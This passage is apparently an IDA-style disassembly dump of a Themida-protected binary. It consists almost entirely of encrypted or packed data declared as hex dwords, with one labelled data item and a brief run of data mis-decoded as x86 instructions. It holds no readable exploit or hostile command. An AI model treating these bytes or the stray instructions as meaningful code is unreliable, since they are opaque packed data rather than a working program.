37D3CFDEh, 0ABB1B259h, 12D03256h, 0FC25E2D4h, 75B13050h dd 0B3595256h, 88B13256h, 5394C5B6h, 0C2DDAAA1h, 0BF596AAAh dd 0C3B13256h, 8D949341h, 827F57Fh, 2759924Eh, 0D598BCA0h dd 0A18A50AFh, 57B132D0h, 42D06A56h, 0D5B13241h, 0EAB0B759h dd 0F6483256h, 37BE30AEh, 5DB1306Dh, 0AEB0B959h, 0D44D3256h dd 0A4B1CA2Bh, 0D5B18DD2h, 0EAA0DB56h, 0F2563256h, 2AB08439h dd 0DC6C6054h, 0AEEB91E9h, 37EC638Ah, 0ABB13BBFh, 33BDD256h dd 0F9F30013h, 0DD038641h, 0FC073D37h, 5DBEDB57h, 3C9F3256h dd 9EA8D40Eh, 39CA1580h, 0EDEEE815h, 0EA319B48h, 0F0BE3256h dd 0BAB13202h, 8B305436h, 0CF443C3Bh, 57B9DB16h, 8FA53256h dd 11962B7Ah, 2324EC1h, 743A3D53h, 43B13256h, 5DB10BBFh dd 0AEBEDB56h, 2FC33256h, 0D80800C4h, 8C53FCCFh, 0EA5793F0h dd 60383DBEh, 0B5B13256h, 5DB13DDAh, 0AEBBDB56h, 0A5EB3256h dd 7E492B91h, 24EDD80Ah, 0EAB1CD7Bh, 9D32CE56h, 8558CA53h dd 0B4B13256h, 0AEB13253h, 0F68DFC5Dh, 0AA3E3D4Ah, 20B13256h dd 0EAA5DB05h, 8FB83256h, 0CF0FDE57h, 8489B2BBh, 0FF078D38h dd 71B871C1h, 313A81F5h, 0D3A7A686h, 0D9B5B9A3h, 0F4D169AFh dd 0BDE223BFh, 5D18534Fh, 0A1313256h, 57B1A8D3h, 0ABB9DB56h dd 1DFA3256h, 5BF90C4h, 9DD10332h, 0BAB13247h, 2C467E50h dd 0D7BE216Ch, 0B1606708h, 0DD06A866h, 43A5464h, 3C063D0Eh dd 15773137h, 0B5688D59h, 5DB134DEh, 0AE353D56h, 36B13256h dd 0A4B4F2D5h, 0D5B13BDDh, 203A5256h, 217BB330h, 38B25396h dd 5BA7A686h, 5BD17AAFh, 0DBBE5237h, 0ABB13250h, 0C166E9D7h dd 63D03E8Ah, 0FC493A11h, 0DCD13E11h, 0D5DAF9D7h, 47D0EADDh dd 57B13004h, 0ABB0BE59h, 0B5443256h, 0EAB135BEh, 3806C556h dd 98DD5DABh, 3BEBEADDh, 59D0C0DDh, 5B3D3D8Eh, 0A4B13256h dd 0D5B134D5h, 0EA3C3D56h, 8DB13256h, 4D48F47Dh, 5DA2DB8Eh dd 96A43256h, 265587C2h, 42EE233Fh, 6EE0A087h, 0F340406Bh dd 7071B1A4h, 0BAB9B759h, 0D4BE3256h, 0AEB13254h, 0D5B25336h dd 0ADA7A686h, 0B5D05236h, 0FF04D3DCh, 22D15337h, 30E8CBE4h dd 0A1F953B5h, 0CEB975DFh, 57BDDB04h, 4C2D3256h, 0BCC6E931h dd 0D9A7F179h, 0F4E9D7C1h, 0D55D71BEh, 1A385341h, 0A358525Ah dd 0B2B13256h, 0E439DD34h, 47F631EAh, 90064CE1h, 7411DB37h dd 89443256h, 1B3BCA96h, 23BE5257h, 57B13254h, 3D06D06h dd 69343DD6h, 12B13256h, 75B0B559h, 0B94D3256h, 5DB8DB90h dd 0A1F03256h, 0D17752B1h, 289F24A2h, 0C7583096h, 72B13256h dd 0FDB5D7E4h, 87782C1Ch, 44C3271Eh, 0AD5E71ABh, 57B089DEh dd 0A7583256h, 18B13256h, 604E9848h, 1E5D4EC4h, 0B14309B9h dd 6E353D8Dh, 47B13256h, 57B13245h, 157C75E2h, 5301F2B2h dd 3D039018h, 0AA1FB285h, 53C97A2Ch, 5DB1325Dh, 902437E5h dd 72D9037Bh, 212D37DEh, 0C0018CCCh, 931C750h, 0B6B2C757h dd 0B2F6BBAAh, 0DCD752AFh, 0C8ACAE95h, 0B804D4D7h, 0A7F6BB37h dd 0D559DBAEh, 69BE3256h, 75B13241h, 0BAB120BFh, 45CA1756h dd 0C87B0868h, 195144A3h, 6D359342h, 225941E4h, 0F8313D8Eh dd 15B13256h, 0BAB135BEh, 0C3B77C56h, 97C8F2B5h, 9D3A540Fh dd 0AB4E1737h, 5CBE3256h, 0EAB13258h, 75B13BBFh, 91EE3156h dd 42EC295Dh, 25D1A0BBh, 5C333DA7h, 42B13256h, 0D5B13250h dd 2EF25667h, 5ED06975h, 0A2333D90h, 0B4B13256h, 0AEB13245h dd 6945DC78h, 2EBF4A28h, 1FC37E65h, 56D82078h, 825EEC43h dd 0B13D3D8Eh, 0B4B13256h, 0AEB13250h, 0FD11F8F2h, 6B327CD7h dd 0D5A0DB54h, 2A1D3256h, 886F417Eh, 1D144DF4h, 1923D067h dd 27FCAD30h, 59583A11h, 0D6B13256h, 0E6F320A7h, 5F1E55h dd 90B512D0h, 0B6F6BB30h dd 5DA9BF59h, 0BD583256h, 9EB13256h, 513228EBh, 4B550EB5h dd 0A409FFA7h, 1CE2470Ah, 5349ADA5h, 5DB13244h, 0A557E88Eh dd 0AB75CCC2h, 69ADB5Fh, 0F0C7D258h, 3D01A60h, 75B1325Fh dd 38E1CB60h, 17C5F936h, 4778CE14h, 57B13245h, 0A789EFE5h dd 1FFC0008h, 2A9DEF29h, 487577FEh, 0DA8D8C03h, 527FB930h dd 6DD0E4E9h, 57B139BFh, 656B0256h, 593C3ECBh, 0B6C9FE79h dd 74333D03h, 4FB13256h, 52D1DEDDh, 0AEB134DCh, 57383D56h dd 52B13256h, 2975B137h, 0E45852AEh, 7FB13256h, 7D4BAD4Bh dd 7CA6A407h, 8633FA0Dh, 37D0C7F3h, 0ABB13DBFh, 0DA74E156h dd 2A1845CDh, 0BE735E59h, 4A238458h, 5DB132BEh, 44306856h dd 51A7FD7Ch, 95DF8D36h, 5ED70496h, 8CD153A4h, 0D563C0D7h dd 440BB937h, 0A1B724C7h, 0A158FB65h, 0BEB13256h, 6A973580h dd 0F1BBA40Ch, 0F529129Ch, 4A325D28h, 3C353D56h, 0B4B13253h dd 0AEB1325Bh, 46E53F71h, 15670C4Ah, 517574E9h, 8AB6B96Dh dd 75B3B659h, 0DBD13256h, 89CFEDD7h, 51D01A99h, 0D7BE3E23h dd 0ABB13251h, 0D5B0BA59h, 0E5443256h, 75B13BD7h, 5BE5256h dd 0B40E5484h, 0DB4E5389h, 5B353D5Eh, 0A4B13256h, 0D5B134DDh dd 0EA3A3D56h, 25B13256h, 0BABDB359h, 0D9BE3256h, 0AEB13250h dd 57B1BC59h, 434D3256h, 0D5B13B02h, 0E57139AEh, 75B17CD3h dd 0BD313D56h, 3DB13256h, 0FED5E0D6h, 503A530Dh, 0ABB120BFh dd 0D6E41256h, 273345B8h, 0BDC2A01Dh, 0CC9F145Ch, 52B7DF1Dh dd 0AEB124DAh, 57A0DB56h, 0F7AB3256h, 0EA1ECC57h, 6B0DA7A5h dd 4F92A73Eh, 53B0662Bh, 5DB13267h, 0AEB0BF59h, 0D4443256h dd 0A4492691h, 0D5B13CDFh, 0EAB8DB56h, 108C3256h, 45A03B02h dd 0B4B3D97Dh, 514ECD44h, 57B6B059h, 28BE3256h, 0D5B13257h dd 16F4BBAEh, 8AD0CE36h, 35BE3E23h, 5DB1325Ch, 0A1498036h dd 57B132D4h, 0DE4E5356h, 3330525Eh, 0BA73EE86h, 424E53A3h dd 0BAB120BFh, 0E7306C56h, 0BF13D527h, 0B70D0C94h, 0E4B15142h dd 3D95CD92h, 0EAB13AC6h, 75B0BE59h, 42493256h, 0D9BEF25Dh dd 0AEB13243h, 538ADBAAh, 28BE3256h, 0D5B13257h, 55BE52AFh dd 0AC3A54A8h, 46F4B937h, 52B60BAAh, 0AEB512D4h, 5C343D56h dd 0CBB13256h, 0DA798559h, 0EAB132DBh, 304E5356h, 36BE52AAh dd 5DB13241h, 0AEB123BEh, 67497C56h, 0FECE20EAh, 0C9789D2Eh dd 79FF0B20h, 7AEB7347h, 42D0FDE9h, 5DB54DD5h, 0AEF6B659h dd 0DDBE3256h, 0ABB1325Dh, 0D5B134BFh, 0FCB94B56h, 0F67BC68Ch dd 0B5B13E29h, 5DB11ED2h, 0A6343D56h, 58B13256h, 0ABB130D2h dd 3CD05256h, 0EAB132D2h, 75A1DB36h, 33F53256h, 0E8948DA5h dd 65330F5Dh, 9C443F18h, 690277FDh, 2A4E8A37h, 67BECDA9h dd 75B1325Ah, 0BAB7B259h, 0D2BE3256h, 0AEB13256h, 57B137EFh dd 0AA383D56h, 20B13256h, 2D199A5h, 75B1325Ch, 6E55F091h dd 36005DEEh, 0A758AD24h, 0FB13256h, 0F113941Eh, 0EBB0AE7Fh dd 90F5408h, 0C9585320h, 0B54ECDA8h, 5DB125D7h, 0AEA3DB56h dd 0F0F43256h, 41025F47h, 0F683FE7Fh, 2090F6FFh, 0DF2D0EEDh dd 0BFA14DD5h, 5D15B659h, 22BE3256h, 57B1325Eh, 0ABB3BA59h dd 0B4D13256h, 0ECA14DD5h, 7578B759h, 3EBE3256h, 5DB13272h dd 0AEB6DA36h, 0ADF23256h, 0CCF15F5h, 0C5586C56h, 7B13256h dd 2E8DBA20h, 4FFACCD3h, 31AB0EEFh, 0CFBB1049h, 0DCBE5217h dd 0ABB13253h, 8938D2E8h, 0EABDDB61h, 0A6773256h, 0E7984F97h dd 7F255D83h, 25D05337h, 31D13611h, 7A31FCDDh, 5EBE5380h dd 0EAB1325Ah, 75B7BF59h, 3BBE3256h, 5DB13256h, 0CEBD6DDDh dd 5845E0E9h, 0A666B319h, 0B4BFF065h, 0EAB301BFh, 75BDDB56h dd 82223256h, 8928C24h, 0F6EC98D2h, 103ADA4Dh, 0C2085252h dd 54DAF96Eh, 0B8E8C08Fh, 2A3A5334h, 3DBE525Ah, 5DB13241h dd 0AEB123BEh, 549D3456h, 0FA20B321h, 0DC2EF0EEh, 0C094602Ch dd 0CDEA0293h, 0B4A3C42Bh, 5C52DB37h, 25483256h, 0D0BE3611h dd 0ABB13257h, 0D9EEB9A3h, 0EAB120BFh, 7E014956h, 44EB6B38h dd 198C1F64h, 22FBD4EDh, 6CCCA234h, 2EBE3A09h, 0D5B132A4h dd 0EAB135BFh, 96B256h, 4F9E59FAh, 55595204h, 0ECB13256h dd 0EB3555DCh, 4247C7B0h, 0D5B13251h, 598FF181h, 2E9B3A5Bh dd 0BAB135BFh, 0C8B8D56h, 59C710C5h, 53E6B937h, 0BBE419AAh dd 69095436h, 8BBA8227h, 7AA56755h, 0BAB12BDDh, 5DA5DB56h dd 8D8E3256h, 0EE523F72h, 41B6B8B4h, 6BAAE483h, 0E2E12DFCh dd 2A3A3561h, 0BABDDB5Ah, 550C3256h, 937F08ACh, 72BB4331h dd 719A4404h, 0D5B135BFh, 0C5CC2556h, 0E40FC241h, 0B5B4D9D5h dd 5DB135D9h, 0AF3D3D56h, 0AEB13256h, 7D3A5436h, 0B4CEF0D6h dd 8CE0520Ch, 2BEA96EFh, 7A5853A3h, 0B4B13256h, 0AEB1325Ch dd 0F8478E22h, 0DFA1FE91h, 5BBE04AFh, 0EAB13278h, 75BFDA36h dd 3B9B3256h, 0E154A898h, 73EFC327h, 0A90381E3h, 0ABA2DB08h dd 0BFDC3256h, 837A11E2h, 42A5966Dh, 0EB58ED25h, 3D44B236h dd 0E93A5352h, 0ECD75252h, 0CBD121D9h, 0B4D0C737h, 3BD6DDDh dd 75B1325Fh, 364323A4h, 717907FCh, 0F19ACBABh, 57B4DB52h dd 79613256h, 0DA1FC337h, 0EAB13ADBh, 13495256h, 0D187E4D7h dd 585AB137h, 47758136h, 57B1325Eh, 3A529715h, 0D5E22475h dd 0EABCDB37h, 0D7D63256h, 3A2BEC7h, 28086EE4h, 0AD288A58h dd 4796E3DCh, 20BE5250h, 0D5B13250h, 0EAB1B159h, 0F9BE3256h dd 0BAB13254h, 0DED05336h, 0A1B22229h, 57B10ED3h, 0A3393D56h dd 0B5B13256h, 207D8D30h, 15D044E0h, 0BAB3B859h, 0AE003256h dd 0AEBEDB36h, 70C03256h, 992D56BAh, 0BC68BF85h, 7BA6349Fh dd 0BF3A54F9h, 0B5F05337h, 5DB136D4h, 763A5256h, 0AF681937h dd 0AAB06EDFh, 2A4E8AAAh, 0FE58CDA9h, 0B4B13256h, 0B92623C7h dd 7E6A31E6h, 4FAD5036h, 0D65AF233h, 53CC30EBh, 0D5B137EFh dd 6EBE5256h, 75B13254h, 49D0C5DDh, 5DA1DBFDh, 3B073256h dd 9B9F2EB7h, 52E82DFFh, 65452AB7h, 6A58107Ch, 7A4ECDADh dd 0BAB13ADCh, 5F333D56h, 0CEB13256h, 5E585337h, 28B13256h dd 2CB85E9Ah, 0D0767FE7h, 93305236h, 0C730FD65h, 3D785337h dd 0AEB13CBFh, 0A2219856h, 0B7AFEA6h, 0B4720273h, 32C2AA6h dd 75B1325Fh, 1ED36A88h, 0D5507B4Bh, 0BE7353F7h, 58E4CA56h dd 0ABB12AD0h, 8EE75256h, 0EAB13CBEh, 5BD67656h, 7816D2F3h dd 1CD5CD52h, 0F0F96589h, 58363D37h, 42B13256h, 0D5B1325Ch dd 0ECBFE996h, 406DF608h, 563ADE3Ch, 0A175B1AAh, 0AB5852AFh dd 0D7B13256h, 0BFBE4AE3h, 0D5B132BEh, 306856h, 73A7E72Ch dd 3ACBAAh, 5BA7A3A8h, 0CE4D52AEh, 0EC76B330h, 98D053CBh dd 0D5B4DB9Fh, 0F9A53256h, 0F6415237h, 3EBE3269h, 5DB13102h dd 57B6B9A3h, 37BD47A9h, 6C666DECh, 0D5BADA7Eh, 593B3256h dd 79BBBCCFh, 4D6AD5C6h, 0A2D06DE0h, 0A5583A23h, 0DEB13256h dd 5C2CA93Bh, 39FF46Eh, 61BE5EB8h, 75B13246h, 0BAB139BFh dd 11308A56h, 6CB43CAEh, 0DE806E7Ch, 0A03A3D06h, 3CB13256h dd 0EAB13250h, 0E48D2C91h, 0B6580410h, 0C2B13256h, 0BA630782h dd 0E67F5443h, 432F72E2h, 0D5B13142h, 0EABFB859h, 7AD13256h dd 0BAB132D7h, 0D756B356h, 0CFAF9F66h, 0D2BEF25Dh, 0ABB13246h dd 29B6B9AFh, 0EAB110BFh, 74353D56h, 43B13256h, 52A5F5D5h dd 0AEB13ED7h, 513A3D56h, 0A4B13256h, 0D5B132D0h, 15F0DB56h dd 0FC49CDA9h, 454DCE13h dd 0A2483E23h, 22BE3A23h, 57B13244h, 4240B936h, 0D5B1325Fh dd 8F4DF296h, 22D7FE6Bh, 8D4E53CFh, 5F13DAAFh, 0A1583256h dd 92B13256h, 6495E7E6h, 0AB10FC00h, 9AD7AD2Fh, 0B5BA80F3h dd 0BAAAB659h, 4D583256h, 20B13256h, 34178952h, 10DC9B4Ch dd 0B17DEFFh, 36A586Ch, 75B1306Ah, 46F4B9AEh, 5B353D36h dd 2FB13256h, 5063EA8Dh, 783A545Eh, 0D9383D37h, 3B13256h dd 75B13251h, 0AA39C850h, 6476F086h, 0A3333D51h, 37B13254h dd 54D0C8DDh, 56BECE13h, 0EAB1325Ah, 0BDCD8836h, 0B60F310Ah dd 3CEDC0ADh, 0AEB54DD5h, 5789B659h, 0BB583256h, 63B13256h dd 0F3E374A3h, 8BB11E4Bh, 7CD7AFCEh, 0DE4C4B6Ah, 0A1B13E29h dd 57B12BD2h, 0ABB9DB56h, 0A8F43256h, 44EE92D3h, 3D58E9AAh dd 0B5B13256h, 5DB133D7h, 5109CE56h, 0BE4ECDA9h, 0ABB13259h dd 547129A6h, 0FD4114D2h, 0D8013F9Dh, 3CBA823h, 5DB13253h dd 0AEB0B359h, 0A4493256h, 5C3052FDh, 83422A47h, 8B60B930h dd 8A4FD0BFh, 0BAB4DBA9h, 0F7CF3256h, 2D47FA09h, 58B42229h dd 0ABB158D2h, 0D5A1DB56h, 570E3256h, 0B6EB4E36h, 43E3D445h dd 3EEA222h, 0D132E035h, 0D2BE3446h, 0ABB13222h, 0D5B0BD59h dd 0AB443256h, 71F6B9AAh, 460E5436h, 5DA3DBC6h, 4E873256h dd 0BF960F58h, 0AADC4DCCh, 0B7AF67CBh, 2A97E6ECh, 79EEB937h dd 7331CA36h, 9658534Bh, 47B13256h, 57B13259h, 0F5E46FFFh dd 0F2B1CFh, 0E6E5E023h, 0FED7ECECh, 3DBE3611h, 5DB13257h dd 0A2EEB9A3h, 287EB336h, 42A49021h, 0D5B1325Fh, 2B67398Eh dd 0BBEF023Ch, 3D58538Fh, 0A8B13256h, 0CEB575DDh, 0BE6A8D59h dd 0ABB13247h, 0C88C0EBCh, 87AFF47Eh, 0BE92863Ch, 0AE15093Fh dd 23A5361h, 693A525Ah, 57B122BFh, 728CD256h, 0BC97AD6Fh dd 8FCDB31Eh, 0DDD9ACEBh, 0E59A53EBh, 0B632CA52h, 0AEB6DB53h dd 0F7EC3256h, 61BFE591h, 0C5CEB1A4h, 0C5343D55h, 15B13256h dd 0BAB137BFh, 7A350256h, 653A791Fh, 47585237h, 0F2B13256h dd 0EB0BDE4Bh, 5C5F72B2h, 342C6764h, 0DA0DDD80h, 3B2DFFD6h dd 0CFD0C9DDh, 8E9ACE17h, 310E5436h, 8938537Ch, 62BE3357h dd 75B1325Ch, 0B5D05236h, 5DB132DDh, 51095356h, 0A24ECDA9h dd 0ABB137EFh, 36305256h, 0C17C911Ah, 0DE42CE37h, 0BAB0BA59h dd 0B4483256h, 514ECF21h, 57B139BFh, 2990FE56h, 0CCAE5B91h dd 543EB9B6h, 75B4DB37h, 63EA3256h, 94D511A9h, 543A5436h dd 0A557B330h, 0A37353ADh, 0DF595256h, 14B13256h, 861C7CFDh dd 67E75E55h, 27FB8EBh, 0CF488559h, 423C3D03h, 42B13256h dd 0D5B13246h, 5056CB21h, 62474631h, 7A0503D7h, 24C22B36h dd 0BA58DEDDh, 0D3B13256h, 3667FDF2h, 0D0952912h, 3C43D166h dd 429E2FCCh, 399B1372h, 5158CE92h, 72B13256h, 2964F008h dd 87236813h, 0B592F739h, 0EAB126BFh, 8E779D56h, 78851E87h dd 18DC995h, 0DBE7A6D5h, 2830AF43h, 0A3F4B95Ch, 0BB085236h dd 8BE7E79Bh, 75B3B859h, 0E3E33256h, 51F40937h, 0AEC9B059h dd 6C443256h, 2CBE2213h, 0D5B13238h, 0EAB121BFh, 8CB65D56h dd 1C2A7281h, 0CF6F3C15h, 0D909BE3Eh, 91CFD64Ah, 0ABBFBF59h dd 0DC583256h, 0FDB13256h, 0B7C89969h, 6A814E40h, 5D4D7791h dd 0A1B13256h, 57B13CD5h, 78305256h, 0F181B1AEh, 0EAB1B859h dd 9CD03256h, 0BAB1320Fh, 5DADB959h, 47D13256h, 57B13245h dd 1AC8511h, 67FBF62Ah, 8973A699h, 0CEED3C0h, 0EB4118D8h dd 18765308h, 0AEB133AAh, 56383D56h, 52B13256h db 36h dword_5B8EA1 dd 0D7B4D152h ; DATA XREF: Themida_:loc_54F344r ; Themida_:005A52A7r ... db 0C5h, 17h, 0EAh ; --------------------------------------------------------------------------- rcl byte ptr [edx], 1 sar bh, 1 xchg dl, [ebx+58h] lodsb push esi xor dh, [ecx-4ECDB84Ch] scasb add ah, ah mov ch, 94h retn ; --------------------------------------------------------------------------- db 0FEh, 0CFh, 55h dd 50F93D8h, 104B7D6h, 705853F2h, 30B13256h, 387D98DBh dd 0A14D77DDh, 57B13EDEh, 0AD333D56h, 0DAB13256h, 0EAB132DBh dd 7358FB56h, 0DBB13256h, 801161E0h, 0BF363D41h, 0BEB13256h dd 0ABB1325Ah, 33D9AE0Ch, 0F00BA27Fh, 695106ACh, 0DAB13E94h dd 0DF52B330h, 0AD353D74h, 31B13256h, 0FED0F8DDh, 0D5B13CBFh dd 768AF356h, 0D2DF032Dh, 8415E766h, 0D6594C78h, 0A6393DBAh dd 58B13256h, 0ABB130D6h, 56D05256h, 3D1CE92h, 75B13251h dd 414DFC9Dh, 0B4ECC751h, 0AEB13242h, 0C69F6999h, 91FAA716h dd 1F86E703h, 0E69373A7h, 4AAEAD7Eh, 53D15237h, 5DB13259h dd 12135A1Eh, 22922CB2h, 7117E6h, 2055F2CEh, 0EAB9DB37h dd 0AF5A3256h, 7EBB04E1h, 5D59179Eh, 0F4B13256h, 8C9DD8D7h dd 0CDD13440h, 0DB58EADDh, 0ADB13256h, 7709232Eh, 22A70BCh dd 94DA74CAh, 9D445376h, 0A93A529Fh, 0CBD06D01h, 0ED62B330h dd 0E10A5432h, 0AE8253BFh, 0BABBB259h, 0FD13256h, 1C5BB30Fh dd 36967448h, 0ABB13FBFh, 0F6DC156h, 4E220184h, 0C2DF333Ah dd 0E73817BCh, 0E73ACBAAh, 0A8A7A3A8h, 57B13ABFh, 0A78BC256h dd 9177876h, 0EA8EB149h, 7792B659h, 3FBE3256h, 5DB1325Ah dd 0AEB7B559h, 0D6BE3256h, 0ABB13256h, 0DA4E0DD5h, 0EAB117D3h dd 0B232CB56h, 0BABEDB42h, 41163256h, 6A4E96A2h, 2E78679h dd 0D63AEC4Fh, 6B58CA6Dh, 0E54ECDA9h, 75B133D8h, 0C532CE56h dd 0D9BE3252h, 0AEB13279h, 57B6DBAEh, 58F33256h, 24A96698h dd 0E6CEB171h, 6D353D56h, 0B5B13256h, 5DB133DEh, 8E58CA56h dd 0BEB13256h, 0ABB13251h, 21580AE6h, 158A4C05h, 0F648CE13h dd 33BE2691h, 5DB13257h, 51DADBA3h, 0D444CDA9h, 0A4B42229h dd 0D5B15FD2h, 0E63B3D56h, 7AB13256h, 0BAB134D1h, 5D3C3D56h dd 2DB13256h, 58B72229h, 0ABB1B0D3h, 30055256h, 61BECB36h dd 75B13256h, 53F05337h, 5DB1325Ah, 0FBFBCBB6h, 0BBB70E33h dd 9F14C863h, 0DAB575DDh, 0EAB136DFh, 903B5256h, 0B6EEB937h dd 5DB121BFh, 0D3524356h, 4EF0A455h, 611B2934h, 0C295AFA0h dd 8833B8D9h, 75B18ABFh, 42E05256h, 1A3A530Fh, 0AEBEDB52h dd 0E7853256h, 35855ABCh, 64396317h, 1D2ABD78h, 79EEB9A0h dd 0BAB13EBFh, 6138A556h, 33CAFA9Ch, 0E9C9BC41h, 0ABC2DBBFh dd 5E4D3256h, 61443611h, 13D13E09h, 528A24E8h, 5DB1325Fh dd 0E091C20Fh, 9892AA02h, 0F0D05289h, 0DC595237h, 0BAB13256h dd 11B21941h, 0AEF1B893h, 76D06CAEh, 2DBE3609h, 57B13257h dd 0AE5AB1AFh, 0D5B0B059h, 0E5443256h, 75B13ED9h, 0BC3F3D56h dd 52B13256h, 0AEB132D2h, 47CEB156h, 0B9343D55h, 0DAB13256h dd 0EAB13BDAh, 7A445256h, 0BAB132D8h, 1C445356h, 0A16819AAh dd 57B13AD7h, 0A9373D56h, 0B5B13256h, 0EBEDBB37h, 0CAD15257h dd 9A1F19D9h, 3CD15237h, 9068B330h, 0EFD05368h, 544ECDA9h dd 0D5A1BD59h, 0E1583256h, 0FCB13256h, 0C8F0132Bh, 14459DFBh dd 0AB0875BCh, 37B13256h, 0A8098A01h, 0B4EB20FEh, 0F95899A5h dd 3FB13256h, 0DDE4EEB2h, 1E14D18Fh, 0E1DCC7C1h, 3A0FA61Dh dd 49581B5Ch, 0B54ECDABh, 0EAB1B359h, 0F1BE3256h, 0BAB13256h dd 0DFBE5337h, 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 3C4D77DDh dd 0EAB13251h, 0B8F3AE02h, 73EAC8DDh, 5DB13FBFh, 0E57A6756h dd 1F2D0836h, 0B848B92Ch, 56BEFFA2h, 0EAB1325Bh, 0D72F8936h dd 34BE678Dh, 5DB13256h, 0BA58F137h, 0F4B13256h, 0FE9519ECh dd 33E890C9h, 595B4F5Eh, 4A5299AFh, 0EAC445D1h, 9B3A5436h dd 0AEB1B859h, 6D03256h, 0ABA6B759h, 54BE3256h, 0EAB13247h dd 75B13EBFh, 0F3526F56h, 0DAD9E1A9h, 0BFA03190h, 31D16141h dd 43D0CBDDh, 0D5B13256h, 0B35BB30Ch, 15B72488h, 0DC43B930h dd 3C69C6ECh, 0EA2BBFAFh, 0BEB724C5h, 0ABB13242h, 742DFB79h dd 0AE0446AAh, 809C0825h, 0F2DC56BDh, 45C368F3h, 0AEB156EEh dd 493A3D56h, 0A4B13256h, 0D5B12AD7h, 0EAA2DB56h, 0E6433256h dd 59A0F783h, 0F2699A8Bh, 176DDAFFh, 8F4AEDA3h, 0FB4D525Eh dd 0D5B1BA59h, 8BE93256h, 75B4B1BEh, 0A03F3D56h, 3DB13256h dd 0AEB1BA59h, 5A583256h, 69B13256h, 0C6E1A209h, 0E791B7ABh dd 2C798A71h, 0B5BAB937h, 5DB126D3h, 0AEBEDB56h, 0CEAF3256h dd 0F9F1EA95h, 0FB07C0D5h, 0CD7B3710h, 8D700969h, 0BAB14CBFh dd 4C3E3D56h, 47B13256h, 57B1325Ah, 3E0C6074h, 82B0D570h dd 7FE448DCh, 80B57955h, 38BEF36Dh, 5DB13227h, 0AEB122BFh dd 4D995356h, 0B3FFAE56h, 0DCFACCDh, 1A144C63h, 75B7DBCAh dd 37843256h, 0A57FBD4Dh, 0CEA17955h, 57B13FBFh, 2B3E3F56h dd 0E2DB5C5Ch, 45F3C42Fh, 4ED06045h, 0B1333D97h, 3DB13256h dd 0CF7FB930h, 57B13EBFh, 0E358CB56h, 0B5B13256h, 2A0B8D30h dd 758CDB37h, 37483256h, 4A383DCCh, 7D4EC750h, 579CDBAFh dd 24BE3256h, 0D5B13257h, 0DF2BBFA3h, 7AB725DAh, 0BAB134D6h dd 0A43A5256h, 51D06B05h, 57BCDB85h, 0CF8B3256h, 26BE9F84h dd 0F851B833h, 2EB4084Dh, 0B57E8536h, 5DB136DBh, 93085456h dd 0E4853FEh, 0ABA8B659h, 0C1583256h, 1BB13256h, 803B7A1Ah dd 0C931DCB4h, 0C9FBEC60h, 0D7ADA849h, 0FF7FE4Bh, 0CA69B936h dd 0AD005295h, 0EAB138BFh, 0D7794956h, 0BC02FB0Ah, 3C7C5A3Fh dd 0B4323D03h, 58B13256h, 0ABB126D5h, 0D5BEDB56h, 5FF03256h dd 259F0AD9h, 61963B7h, 4B7F77FCh, 475DB946h, 57B1325Ch dd 1DCF66E2h, 64C83A54h, 0EA59CA9Bh, 2FB13256h, 5AF1D8D7h dd 0B4D13440h, 0AEB1325Ah, 0F1F1DE75h, 0F07425FCh, 3E4EE3FAh dd 61BE53A3h, 75B13257h, 0DAD1C7A3h, 5DBBB459h, 0AB583256h dd 17B13256h, 0DAE31C5Ch, 307AB330h, 60BE534Ch, 75B1324Ah dd 0BAA3DB36h, 48913256h, 0D738A8CCh, 0CE84B756h, 75D886FEh dd 96AC144Dh, 8B45D5D6h, 0E6F588DBh, 38BE3440h, 5DB13257h dd 0A6F4B9AEh, 57BCB659h, 0A4D13256h, 0D5B132DCh, 7AB78D56h dd 15D03B91h, 12D7FCD7h, 0D6D1340Dh, 0AE313DA1h, 36B13256h dd 0CBB6BB37h, 734DDBD7h, 2C3B01A6h, 79F4B937h, 2C0F5436h dd 3CE86247h, 0CEB575DFh, 0BC43B330h, 0F93E8CF2h, 5ED034F1h dd 66BE2213h, 75B1325Ch, 0B5EE6536h, 5DB132D0h, 0E9385356h dd 57BEDB5Ah, 2A403256h, 0DC8DC41Dh, 0E2F537Fh, 2BCD76F6h dd 0AEF4B9B4h, 5DB13FBFh, 47AC3656h, 416F98B1h, 33472D36h dd 9238CA73h, 0E73A3D46h, 15B13256h, 7BBBFAD7h, 0DCD76F85h dd 0CF102B8Fh, 40303D37h, 0A4B13256h, 0D5B123D2h, 0EABDDB56h dd 0BE523256h, 7599EEFFh, 81A8815Ch, 4778FE2Eh, 57B13242h dd 0F64EC11Fh, 7C87360Dh, 809A9207h, 1E1BB0D4h, 13DED28Bh dd 0A8B12294h, 0AEB126BFh, 486AFD56h, 87366C0Dh, 0CBC5FD44h dd 0F2DCC625h, 18941526h, 0B5585229h, 36B13256h, 6661044Bh dd 0EB63D37h, 0D69A6BC7h, 5077FFCDh, 0ECA111B3h, 6FD9C711h dd 0B5192525h, 5DB133DEh, 1B4ECE56h, 51A12F13h, 0ABB137BFh dd 316B9456h, 6744EB7Ah, 6634B8D3h, 3BD75250h, 0B4FE268Dh dd 0AEB13246h, 7114AE7Bh, 2480F821h, 272D16D2h, 9FEC7FFh dd 7A61CD37h, 0BAB123D5h, 563C3D56h, 47B13256h, 57B13250h dd 85ED14Dh, 3CE3151Ch, 0EAB13247h, 0DCFDB297h, 58F4A4C9h dd 0E69D6C88h, 4CC25E98h, 813BBF9Ah, 0CBB724C2h, 0B4E7D4D6h dd 0FE585207h, 8FB13256h, 17F45111h, 3E9EBBAEh, 368E7CBBh dd 40359272h, 0CBD505B9h dd 5ED7B3E6h, 3D05385h, 75B1325Dh, 4D147D11h, 0E1F0F186h dd 51E88EDBh, 57B4DB86h, 73043256h, 8F36C564h, 0E73E3DAFh dd 9CB13256h, 0BAB1325Eh, 5CB36B50h, 0D484972h, 0C367B0DBh dd 0CDD13440h, 9557C0D7h, 62D3D9D7h, 89D06E10h, 0B6F18559h dd 2156B336h, 25F65364h, 8F3A53A1h, 0ABB9B559h, 5ABE3256h dd 0EAB13254h, 15E35336h, 0E17BB905h, 6CBE53AEh, 0BF5868AEh dd 18B13256h, 4D2993B6h, 0B2D72E8Fh, 3C37BAC6h, 0E34ED480h dd 32BEF155h, 5DB13259h, 0AEB138BFh, 2E072556h, 3969A7F1h dd 0B52AFF04h, 2230E3E0h, 435F4348h, 5733BB37h, 0A5B72245h dd 0A8393D36h, 0D6B13256h, 97CB7AA6h, 6305414h, 8BD0486Eh dd 6458F1AFh, 8FB13256h, 47DE09BCh, 0D559D4Bh, 0EFA2CFBFh dd 3A8C01F2h, 52FCFC51h, 0FE860h, 